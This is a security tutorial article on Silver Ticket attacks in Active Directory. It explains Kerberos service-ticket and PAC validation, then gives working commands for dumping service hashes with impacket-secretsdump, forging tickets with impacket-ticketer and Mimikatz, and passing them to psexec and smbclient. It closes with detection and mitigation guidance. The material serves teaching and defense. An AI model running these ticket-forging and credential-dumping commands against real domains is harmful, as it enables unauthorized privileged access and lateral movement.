Silver Ticket Attacks: Forging Kerberos Service Tickets

Active Directory
2026.05.30
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Forging Kerberos tickets against systems you do not control is illegal in most jurisdictions.

Introduction

A Silver Ticket is a forged Kerberos service ticket (TGS) that grants an attacker access to a single service on a single host — without ever contacting the Key Distribution Center (KDC) on the Domain Controller (DC). Unlike its bigger sibling, the Golden Ticket, a Silver Ticket does not require the krbtgt hash. Instead, it only needs the service account's password hash (or AES key). That makes it a quieter, more surgical persistence and lateral-movement primitive.

In this article you'll learn how Kerberos TGS validation actually works, why the PAC matters, how to extract a service account hash, and how to forge a ticket with Impacket and Mimikatz. We'll close with a substantial Detection & Defense section, because forging tickets that the DC never sees is exactly the kind of attack blue teams need to plan for in advance.

How It Works

In normal Kerberos flow, a client first obtains a Ticket Granting Ticket (TGT) from the KDC (the AS-REQ/AS-REP exchange), then presents that TGT to request a service ticket (TGS) for a given Service Principal Name (SPN). The TGS is encrypted with the target service account's long-term key. When the client connects, it presents the TGS to the service, which decrypts it using its own key.

Here's the critical design weakness: by default, the service does not call back to the DC to validate the ticket. It simply decrypts the TGS with its own secret. If you possess that secret, you can mint a perfectly valid-looking TGS offline for any user — including a fabricated Domain Admin — and the service will accept it.

The PAC (Privilege Attribute Certificate) is the structure embedded in the ticket that carries the user's SID, group memberships, and privileges. It is signed twice: once with the service key (server signature) and once with the KDC key (krbtgt). Because a Silver Ticket forger holds the service key, they can produce a valid server signature, and most services historically never verified the KDC signature. This is why a service hash alone is enough.

MS14-068 (CVE-2014-6324) and later PAC validation hardening (the November 2021 updates / CVE-2021-42287, KB5008380) tightened some of this, but Silver Tickets remain viable when PAC signature verification is not enforced end-to-end.

Prerequisites / Lab Setup

To follow along you need:

  • A test AD domain (e.g., lab.local) with a DC and a member server running a target service (CIFS, HOST, MSSQLSvc, etc.).
  • Compromise of a host or account that lets you extract the target service account's NTLM hash or AES256 key. For a computer account (machine) service like CIFS, this is the machine account hash.
  • The domain SID and the target server's FQDN.
  • Impacket and/or Mimikatz.

You can pull a service account hash several ways: from a Kerberoasting crack of a user service account, from secretsdump.py against a host you already own, or from the local machine secrets (LSA) of the target server itself.

# Dump secrets to obtain the machine/service account hash and the domain SID
impacket-secretsdump 'lab.local/svc_sql:Password123!@10.0.0.20'
# Look for the target account's NTLM hash and the domain SID in the output

Attack Walkthrough / PoC

Step 1 — Gather the four ingredients

You need: the service account hash, the domain SID, the target host FQDN, and the SPN service class (e.g., cifs, host, mssql).

# Get the domain SID (run from a domain-joined or remote enum context)
impacket-lookupsid 'lab.local/svc_sql:Password123!@10.0.0.10' | grep "Domain SID"
# Example output: Domain SID is: S-1-5-21-1004336348-1177238915-682003330

Step 2 — Forge the Silver Ticket with Impacket

ticketer.py builds the TGS offline. Here we forge a ticket for a fabricated Administrator user targeting the CIFS service on srv01.

impacket-ticketer \
  -nthash 9b4cd3e6f0a1... \
  -domain-sid S-1-5-21-1004336348-1177238915-682003330 \
  -domain lab.local \
  -spn cifs/srv01.lab.local \
  Administrator

This writes Administrator.ccache to the current directory. Prefer -aesKey over -nthash when you have the AES256 key — RC4 (-nthash) tickets are far easier to spot (see Defense).

Step 3 — Use the ticket (Pass-the-Ticket)

export KRB5CCNAME=Administrator.ccache
# Verify the ticket
klist
# Use it against the target service — note we target the FQDN to match the SPN
impacket-psexec -k -no-pass lab.local/Administrator@srv01.lab.local
# Or browse the share directly
impacket-smbclient -k -no-pass lab.local/Administrator@srv01.lab.local

Alternative — Mimikatz on Windows

# /target must match the SPN host; /service is the SPN class
mimikatz # kerberos::golden /user:Administrator /domain:lab.local ^
  /sid:S-1-5-21-1004336348-1177238915-682003330 ^
  /target:srv01.lab.local /service:cifs ^
  /rc4:9b4cd3e6f0a1... /ptt

# Confirm the injected ticket
mimikatz # klist

Despite the kerberos::golden command name, supplying /target and /service (instead of the krbtgt key) produces a Silver Ticket — a TGS scoped to one service, injected straight into the current session with /ptt.

Attack Flow Diagram

Silver Ticket Attacks: Forging Kerberos Service Tickets diagram 1

Diagram: the attacker forges and signs a service ticket entirely offline using the service's own key, then presents it to the target service, which trusts it without ever consulting the DC.

Detection & Defense (Blue Team)

Because the DC never issues the forged ticket, you cannot rely on TGS issuance logs (Event ID 4769) on the DC for the forgery itself. Detection shifts to the target service host and to anomaly analysis.

Detection:

  • Logon event anomalies (4624 / 4634): A Kerberos logon on the member server with no corresponding 4768 (TGT) or 4769 (TGS) on the DC is a strong Silver Ticket indicator. Correlate authentication events across DC and member hosts.
  • Encryption downgrade: Forged tickets are frequently RC4 (etype 0x17). Hunt for Kerberos tickets using RC4 where your environment is AES-only. Event 4769 ticket encryption type fields and ETW Kerberos provider data help here.
  • Anomalous PAC fields: Lifetimes that exceed domain policy (default ticketer.py lifetime is 10 years), mismatched username/RID, or usernames that don't exist in the directory.
  • Sysmon + EDR: Watch for processes spawned by service accounts performing admin actions inconsistent with their baseline (e.g., a SQL service account running psexec/SMB admin tasks).
# Hunt for member-server Kerberos logons; cross-check against DC 4769 events
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
  Where-Object { $_.Properties[10].Value -eq 'Kerberos' }

Defense / Mitigation:

  • Rotate service account and machine account passwords regularly. A Silver Ticket is only valid until the underlying key changes. Computer accounts rotate their passwords every 30 days by default — do not disable this. Use gMSA/dMSA (group/delegated Managed Service Accounts) for automatic 30-day rotation of strong, 240-byte random passwords.
  • Enforce AES and disable RC4 via the Network security: Configure encryption types allowed for Kerberos policy, removing RC4_HMAC_MD5. This blocks the easiest forgery path and surfaces downgrade attempts.
  • Enforce PAC validation. Apply the November 2021 updates and successors (CVE-2021-42287 / KB5008380) and ensure PacRequestorEnforcement is in Enforcement mode. This makes forging undetectably harder because the KDC signature and requestor SID are checked.
  • Tier your administration. Never run highly privileged services under accounts whose compromise yields domain-wide impact. A compromised CIFS key on one server should not equal Domain Admin.
  • Reduce SPN sprawl and protect service accounts with strong (25+ char) passwords to resist the Kerberoasting that often supplies the hash in the first place.

Conclusion

The Silver Ticket attack exploits a foundational trust assumption in Kerberos: a service that decrypts a ticket with its own key trusts the PAC inside it. Armed only with a service account hash and the domain SID, an attacker forges a scoped, DC-invisible service ticket for stealthy lateral movement and persistence. Defenders counter it not by watching the DC issue tickets — it never does — but by rotating keys aggressively, killing RC4, enforcing PAC validation, and correlating logons across hosts. Combine those controls with managed service accounts and tiered admin, and the attack's window collapses to near zero.

References

Comments

Copied title and URL